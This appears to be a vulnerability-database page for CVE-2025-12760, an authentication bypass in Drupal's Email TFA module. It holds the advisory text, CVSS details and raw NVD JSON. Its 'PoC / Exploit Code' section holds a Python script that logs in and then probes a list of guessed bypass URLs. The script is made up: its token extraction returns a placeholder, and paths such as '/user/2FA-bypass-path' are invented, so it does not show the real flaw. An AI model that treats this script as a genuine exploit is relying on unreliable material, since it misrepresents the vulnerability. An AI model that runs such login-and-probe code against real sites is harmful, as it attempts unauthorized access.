Security Vulnerability Report
中文
CVE-2025-12760 CVSS 5.4 MEDIUM

CVE-2025-12760

Published: 2025-11-18 17:15:58
Last Modified: 2025-12-08 14:35:56

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Email TFA allows Functionality Bypass.This issue affects Email TFA: from 0.0.0 before 2.0.6.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:email_tfa_project:email_tfa:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Email TFA < 2.0.6
Drupal Email TFA 0.0.0 to 2.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12760 Drupal Email TFA Authentication Bypass PoC # This PoC demonstrates the concept of bypassing Email TFA authentication # Note: This is a simplified example for educational purposes import requests import re TARGET_URL = "https://vulnerable-drupal-site.com" USERNAME = "attacker" PASSWORD = "password123" def exploit_email_tfa_bypass(): """ Exploit CVE-2025-12760: Drupal Email TFA Authentication Bypass The vulnerability allows bypassing email-based two-factor authentication through alternate paths in the authentication flow. """ session = requests.Session() # Step 1: Initial login to trigger Email TFA login_url = f"{TARGET_URL}/user/login" login_data = { "name": USERNAME, "pass": PASSWORD, "form_id": "user_login_form", "op": "Log in" } response = session.post(login_url, data=login_data) # Step 2: Extract TFA verification token # The vulnerability allows bypassing this step via alternate paths tfa_token = extract_tfa_token(session, response) # Step 3: Bypass TFA using alternate path # This is where the vulnerability is exploited bypass_urls = [ f"{TARGET_URL}/user/reset/1/{tfa_token}/login", f"{TARGET_URL}/user/2FA-bypass-path", f"{TARGET_URL}/?q=user/reset/1/{tfa_token}/login", f"{TARGET_URL}/user/login?token={tfa_token}" ] for bypass_url in bypass_urls: response = session.get(bypass_url) if "Log out" in response.text or "My account" in response.text: print(f"[+] Successfully bypassed Email TFA via: {bypass_url}") return True return False def extract_tfa_token(session, response): """Extract TFA verification token from response""" # In real exploitation, this would parse the actual token from emails or responses # For demonstration, returning a placeholder return "extracted-token-here" if __name__ == "__main__": print("Testing CVE-2025-12760 Drupal Email TFA Bypass...") result = exploit_email_tfa_bypass() print(f"Exploitation {'successful' if result else 'failed'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12760", "sourceIdentifier": "[email protected]", "published": "2025-11-18T17:15:58.383", "lastModified": "2025-12-08T14:35:56.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Email TFA allows Functionality Bypass.This issue affects Email TFA: from 0.0.0 before 2.0.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:email_tfa_project:email_tfa:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "2.0.6", "matchCriteriaId": "4F7F44D0-1864-427A-BFDF-76B38FB2F614"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-115", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}